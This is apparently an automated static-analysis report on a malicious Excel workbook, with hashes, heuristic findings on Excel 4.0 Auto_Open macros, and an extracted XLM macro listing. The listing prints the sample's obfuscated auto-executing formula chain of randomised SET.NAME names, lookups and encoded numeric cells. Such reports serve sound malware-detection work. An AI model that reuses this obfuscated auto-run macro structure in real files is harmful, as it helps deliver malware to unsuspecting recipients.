Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 32df1c6cf8b2d8de…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:02 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 84263f568d8eb1de19d8fde2d23e7be5 SHA-1: ee4d85e08c54ff5e86956b790eaa855731eace07 SHA-256: 32df1c6cf8b2d8decbd54ca19fe263993628f632670a5d57a2d1eefa497ff210
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6558 bytes
SHA-256: a7001e26e49c7a4f8a71c2e862e8fd3a59399abc664047d022571885632e0e76
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  hLGbh
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C130 
' 0018     22 LABEL : Cell Value, String Constant - BPOkQGK len=0 
' 0018     23 LABEL : Cell Value, String Constant - ccOScTey len=0 
' 0018     20 LABEL : Cell Value, String Constant - douWp len=0 
' 0018     24 LABEL : Cell Value, String Constant - dsgeVsPvz len=0 
' 0018     24 LABEL : Cell Value, String Constant - ECLYZzPYo len=0 
' 0018     23 LABEL : Cell Value, String Constant - FGnUjzNw len=0 
' 0018     21 LABEL : Cell Value, String Constant - hnFKGj len=0 
' 0018     20 LABEL : Cell Value, String Constant - MEzIU len=0 
' 0018     22 LABEL : Cell Value, String Constant - OiiAkTX len=0 
' 0018     21 LABEL : Cell Value, String Constant - oOETLW len=0 
' 0018     20 LABEL : Cell Value, String Constant - OzikM len=0 
' 0018     24 LABEL : Cell Value, String Constant - PKMXKakDy len=0 
' 0018     22 LABEL : Cell Value, String Constant - QCldIzl len=0 
' 0018     24 LABEL : Cell Value, String Constant - QhAtgShiw len=0 
' 0018     22 LABEL : Cell Value, String Constant - rCdZNev len=0 
' 0018     20 LABEL : Cell Value, String Constant - SnXOL len=0 
' 0018     25 LABEL : Cell Value, String Constant - uPHaReqSql len=0 
' 0018     26 LABEL : Cell Value, String Constant - XQMJiEwTTeB len=0 
' 0018     24 LABEL : Cell Value, String Constant - yKBHfATIL len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZHPdknD len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  hLGbh,C45,"SET.NAME("ccOScTey",0+VALUE("0"))",""
'  hLGbh,C48,"SET.NAME("oOETLW",ccOScTey)",""
'  hLGbh,C52,"SET.NAME("ZHPdknD",ccOScTey)",""
'  hLGbh,C55,"SET.NAME("XQMJiEwTTeB",COUNTA(FGnUjzNw))",""
'  hLGbh,C57,"SET.NAME("ECLYZzPYo",COUNTA(OzikM))",""
'  hLGbh,C61,[],""
'  hLGbh,C66,"SET.NAME("dsgeVsPvz","")",""
'  hLGbh,C70,"oOETLW",""
'  hLGbh,C72,"SET.NAME("BPOkQGK",HLOOKUP("*",FGnUjzNw,oOETLW,FALSE))",""
'  hLGbh,C74,"yKBHfATIL",""
'  hLGbh,C78,"SET.NAME("uPHaReqSql",ccOScTey)",""
'  hLGbh,P79,"",781.00000000000000000000
'  hLGbh,P80,"",-795.00000000000000000000
'  hLGbh,C81,[],""
'  hLGbh,P81,"",-536.00000000000000000000
'  hLGbh,P82,"",-92.00000000000000000000
'  hLGbh,P83,"",411.00000000000000000000
'  hLGbh,P84,"",945.00000000000000000000
'  hLGbh,C85,"uPHaReqSql",""
'  hLGbh,C88,"douWp",""
'  hLGbh,C90,"QhAtgShiw",""
'  hLGbh,C93,"hnFKGj",""
'  hLGbh,C96,"SET.NAME("PKMXKakDy",VALUE(HLOOKUP("*",OzikM,hnFKGj,FALSE)))",""
'  hLGbh,C100,"SnXOL",""
'  hLGbh,C102,"dsgeVsPvz",""
'  hLGbh,C107,"ZHPdknD",""
'  hLGbh,C110,NEXT(),""
'  hLGbh,C114,"QCldIzl",""
'  hLGbh,C118,[],""
'  hLGbh,C120,"rCdZNev",""
'  hLGbh,C123,NEXT(),""
'  hLGbh,C127,RETURN(),""
'  hLGbh,C159,"SET.NAME("MEzIU",C45)",""
'  hLGbh,C162,"FGnUjzNw",""
'  hLGbh,C167,"SET.NAME("OzikM",R73C11)",""
'  hLGbh,C171,"SET.NAME("rCdZNev",181)",""
'  hLGbh,C176,"SET.NAME("OiiAkTX",3)",""
'  hLGbh,C180,MEzIU(),""
'  hLGbh,C181,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.